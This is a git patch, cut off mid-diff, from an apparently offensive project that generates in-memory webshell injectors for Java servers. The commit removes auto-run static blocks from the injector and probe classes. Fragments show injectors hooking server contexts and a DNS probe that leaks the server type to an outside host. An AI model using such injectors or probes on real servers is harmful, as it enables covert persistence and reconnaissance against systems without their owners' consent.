From 829b0e8be7bf8fbf054f4773a3360de09e4897d8 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 12 Aug 2025 10:59:45 +0800 Subject: [PATCH] refactor: rm static block for better life --- .../injector/apusic/ApusicFilterInjector.java | 4 -- .../apusic/ApusicListenerInjector.java | 3 -- .../apusic/ApusicServletInjector.java | 4 -- .../injector/bes/BesFilterInjector.java | 4 -- .../injector/bes/BesListenerInjector.java | 7 --- .../injector/bes/BesValveInjector.java | 4 -- .../glassfish/GlassFishFilterInjector.java | 4 -- .../glassfish/GlassFishValveInjector.java | 4 -- .../inforsuite/InforSuiteFilterInjector.java | 4 -- .../injector/jetty/JettyFilterInjector.java | 4 -- .../injector/jetty/JettyListenerInjector.java | 4 -- .../injector/jetty/JettyServletInjector.java | 4 -- .../injector/resin/ResinFilterInjector.java | 4 -- .../injector/resin/ResinListenerInjector.java | 3 -- .../injector/resin/ResinServletInjector.java | 4 -- .../SpringWebFluxHandlerFunctionInjector.java | 4 -- .../SpringWebFluxHandlerMethodInjector.java | 4 -- .../SpringWebFluxNettyHandlerInjector.java | 4 -- .../SpringWebFluxWebFilterInjector.java | 4 -- ...SpringWebMvcControllerHandlerInjector.java | 4 -- .../SpringWebMvcInterceptorInjector.java | 4 -- .../injector/tomcat/TomcatFilterInjector.java | 4 -- .../tomcat/TomcatListenerInjector.java | 4 -- .../tomcat/TomcatProxyValveInjector.java | 4 -- .../tomcat/TomcatServletInjector.java | 3 -- .../injector/tomcat/TomcatValveInjector.java | 4 -- .../tomcat/TomcatWebSocketInjector.java | 4 -- .../tongweb/TongWebFilterInjector.java | 4 -- .../tongweb/TongWebListenerInjector.java | 4 -- .../tongweb/TongWebValveInjector.java | 4 -- .../undertow/UndertowFilterInjector.java | 5 -- .../undertow/UndertowListenerInjector.java | 3 -- .../undertow/UndertowServletInjector.java | 3 -- .../weblogic/WebLogicFilterInjector.java | 4 -- .../weblogic/WebLogicListenerInjector.java | 4 -- .../weblogic/WebLogicServletInjector.java | 5 -- .../websphere/WebSphereFilterInjector.java | 5 -- .../websphere/WebSphereListenerInjector.java | 4 -- .../websphere/WebSphereServletInjector.java | 5 -- .../xxljob/XxlJobNettyHandlerInjector.java | 4 -- .../javaweb/probe/payload/dns/DnsLogJdk.java | 4 -- .../probe/payload/dns/DnsLogServer.java | 4 -- .../payload/response/GlassFishWriter.java | 4 -- .../probe/payload/response/JettyWriter.java | 5 -- .../probe/payload/response/ResinWriter.java | 4 -- .../probe/payload/response/TomcatWriter.java | 5 -- .../probe/payload/response/TongWebWriter.java | 5 -- .../payload/response/UndertowWriter.java | 5 -- .../payload/response/WebLogicWriter.java | 4 -- .../payload/response/WebSphereWriter.java | 3 -- .../buddy/ByPassJavaModuleInterceptor.java | 18 ++------ .../buddy/StaticBlockSelfConstructorCall.java | 46 +++++++++++++++++++ 52 files changed, 49 insertions(+), 220 deletions(-) create mode 100644 memshell-party-common/src/main/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCall.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index 08d58c88..7f910fa8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream; */ public class ApusicFilterInjector { - static { - new ApusicFilterInjector(); - } - public ApusicFilterInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index 4df006df..986dbde5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream; * @since 2024/12/27 */ public class ApusicListenerInjector { - static { - new ApusicListenerInjector(); - } public ApusicListenerInjector() { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index cb020ebe..3a8d271d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream; */ public class ApusicServletInjector { - static { - new ApusicServletInjector(); - } - public ApusicServletInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index 885afbcb..cd595403 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream; public class BesFilterInjector { Logger log = Logger.getLogger(BesFilterInjector.class.getName()); - static { - new BesFilterInjector(); - } - public BesFilterInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index 292de1e8..2a8dffec 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -6,7 +6,6 @@ import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; -import java.util.logging.Logger; import java.util.zip.GZIPInputStream; @@ -14,12 +13,6 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class BesListenerInjector { - static { - new BesListenerInjector(); - } - - Logger log = Logger.getLogger(BesListenerInjector.class.getName()); - public String getClassName() { return "{{className}}"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index cb532ace..0fb33275 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream; */ public class BesValveInjector { - static { - new BesValveInjector(); - } - public BesValveInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index 22b4a576..213a5d17 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream; */ public class GlassFishFilterInjector { - static { - new GlassFishFilterInjector(); - } - public String getUrlPattern() { return "{{urlPattern}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index fde4af20..e3de8fb0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream; */ public class GlassFishValveInjector { - static { - new GlassFishValveInjector(); - } - public GlassFishValveInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java index f64a542c..a65fa0f0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java @@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream; public class InforSuiteFilterInjector { Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName()); - static { - new InforSuiteFilterInjector(); - } - public InforSuiteFilterInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index 7b64ab6a..29b76502 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream; public class JettyFilterInjector { - static { - new JettyFilterInjector(); - } - public JettyFilterInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 773cdd6d..6f50db30 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream; */ public class JettyListenerInjector { - static { - new JettyListenerInjector(); - } - public JettyListenerInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index 2936ed08..08533129 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -15,10 +15,6 @@ import java.util.zip.GZIPInputStream; */ public class JettyServletInjector { - static { - new JettyServletInjector(); - } - public JettyServletInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java index 3b843cf2..a5d67b6f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java @@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream; */ public class ResinFilterInjector { - static { - new ResinFilterInjector(); - } - public ResinFilterInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java index aa8e581d..48bebc31 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java @@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class ResinListenerInjector { - static { - new ResinListenerInjector(); - } public ResinListenerInjector() { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java index ff6eeba2..4b657716 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java @@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream; */ public class ResinServletInjector { - static { - new ResinServletInjector(); - } - public ResinServletInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java index 17f518d1..b995aa45 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java @@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream; */ public class SpringWebFluxHandlerFunctionInjector { - static { - new SpringWebFluxHandlerFunctionInjector(); - } - public String getUrlPattern() { return "{{urlPattern}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java index 9715288f..b408c451 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java @@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream; */ public class SpringWebFluxHandlerMethodInjector { - static { - new SpringWebFluxHandlerMethodInjector(); - } - public String getUrlPattern() { return "{{urlPattern}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxNettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxNettyHandlerInjector.java index 85b12b8d..7236468c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxNettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxNettyHandlerInjector.java @@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream; */ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer { - static { - new SpringWebFluxNettyHandlerInjector(); - } - public String getClassName() { return "{{className}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java index 2f069cdc..f2dab886 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java @@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream; */ public class SpringWebFluxWebFilterInjector { - static { - new SpringWebFluxWebFilterInjector(); - } - public String getClassName() { return "{{className}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java index ee90840c..acfcc3c5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java @@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream; */ public class SpringWebMvcControllerHandlerInjector { - static { - new SpringWebMvcControllerHandlerInjector(); - } - public String getUrlPattern() { return "{{urlPattern}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java index 6956996b..36eae82d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java @@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream; */ public class SpringWebMvcInterceptorInjector { - static { - new SpringWebMvcInterceptorInjector(); - } - public String getClassName() { return "{{className}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index fac41399..a71f5d5c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream; */ public class TomcatFilterInjector { - static { - new TomcatFilterInjector(); - } - public String getUrlPattern() { return "{{urlPattern}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index 3dfff310..37fababd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -18,10 +18,6 @@ import java.util.zip.GZIPInputStream; */ public class TomcatListenerInjector { - static { - new TomcatListenerInjector(); - } - public TomcatListenerInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index bf482f18..e7096bc3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -21,10 +21,6 @@ public class TomcatProxyValveInjector implements InvocationHandler { private Object rawValve; private Object proxyValve; - static { - new TomcatProxyValveInjector(); - } - public TomcatProxyValveInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index 99e4c3c2..98a639e3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream; * @since 2024/12/15 */ public class TomcatServletInjector { - static { - new TomcatServletInjector(); - } public TomcatServletInjector() { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index 494232f4..9fc33560 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream; */ public class TomcatValveInjector { - static { - new TomcatValveInjector(); - } - public TomcatValveInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index a2370227..c310bb7e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -18,10 +18,6 @@ import java.util.zip.GZIPInputStream; */ public class TomcatWebSocketInjector { - static { - new TomcatWebSocketInjector(); - } - public TomcatWebSocketInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index 8dc7d451..fa0c3627 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream; public class TongWebFilterInjector { Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName()); - static { - new TongWebFilterInjector(); - } - public String getUrlPattern() { return "{{urlPattern}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index e0dffc0f..e157620e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream; */ public class TongWebListenerInjector { - static { - new TongWebListenerInjector(); - } - public TongWebListenerInjector() { try { Set contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 23473439..2602a874 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream; */ public class TongWebValveInjector { - static { - new TongWebValveInjector(); - } - public TongWebValveInjector() { try { Set contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java index cf554b53..48cb1c10 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java @@ -14,11 +14,6 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class UndertowFilterInjector { - - static { - new UndertowFilterInjector(); - } - public UndertowFilterInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java index 379e7d5f..c760f68f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java @@ -16,9 +16,6 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class UndertowListenerInjector { - static { - new UndertowListenerInjector(); - } public UndertowListenerInjector() { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index d0b28e2d..38bdd294 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -16,9 +16,6 @@ import java.util.zip.GZIPInputStream; * @since 2024/12/21 */ public class UndertowServletInjector { - static { - new UndertowServletInjector(); - } public UndertowServletInjector() { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java index c1b67372..6b6eda18 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java @@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream; */ public class WebLogicFilterInjector { - static { - new WebLogicFilterInjector(); - } - public String getUrlPattern() { return "{{urlPattern}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java index 1d2609ba..822efc77 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java @@ -25,10 +25,6 @@ public class WebLogicListenerInjector { return "{{base64Str}}"; } - static { - new WebLogicListenerInjector(); - } - public WebLogicListenerInjector() { try { Object[] contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java index 233cecf0..04a79b6c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java @@ -18,11 +18,6 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class WebLogicServletInjector { - - static { - new WebLogicServletInjector(); - } - public String getUrlPattern() { return "{{urlPattern}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java index f8f9f69b..a185a043 100755 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java @@ -19,11 +19,6 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class WebSphereFilterInjector { - - static { - new WebSphereFilterInjector(); - } - public WebSphereFilterInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java index 72fa9f00..c1705773 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java @@ -22,10 +22,6 @@ public class WebSphereListenerInjector { return "{{base64Str}}"; } - static { - new WebSphereListenerInjector(); - } - public WebSphereListenerInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java index a0cf4869..36d94a39 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java @@ -15,11 +15,6 @@ import java.util.zip.GZIPInputStream; * @since 2024/12/21 */ public class WebSphereServletInjector { - - static { - new WebSphereServletInjector(); - } - public WebSphereServletInjector() { try { List contexts = getContext(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java index 4e866406..a22dad86 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java @@ -26,10 +26,6 @@ import java.util.zip.GZIPInputStream; * @since 2025/1/21 */ public class XxlJobNettyHandlerInjector extends ChannelInitializer { - static { - new XxlJobNettyHandlerInjector(); - } - public String getClassName() { return "{{className}}"; } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogJdk.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogJdk.java index f6daa8ed..61fdab16 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogJdk.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogJdk.java @@ -9,10 +9,6 @@ import java.net.InetAddress; public class DnsLogJdk { public static String host; - static { - new DnsLogJdk(); - } - public DnsLogJdk() { String[] jdkInfos = getJdk().split("\\|"); String[] result = new String[]{ diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogServer.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogServer.java index 6415ac00..f5a082fa 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogServer.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogServer.java @@ -9,10 +9,6 @@ import java.net.InetAddress; public class DnsLogServer { public static String host; - static { - new DnsLogServer(); - } - public DnsLogServer() { try { InetAddress.getAllByName("serverType." + getServer().toLowerCase() + "." + host); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java index d77ce7ed..8b7f3ce1 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java @@ -11,10 +11,6 @@ import java.util.Set; */ public class GlassFishWriter { - static { - new GlassFishWriter(); - } - public GlassFishWriter() { try { try { diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java 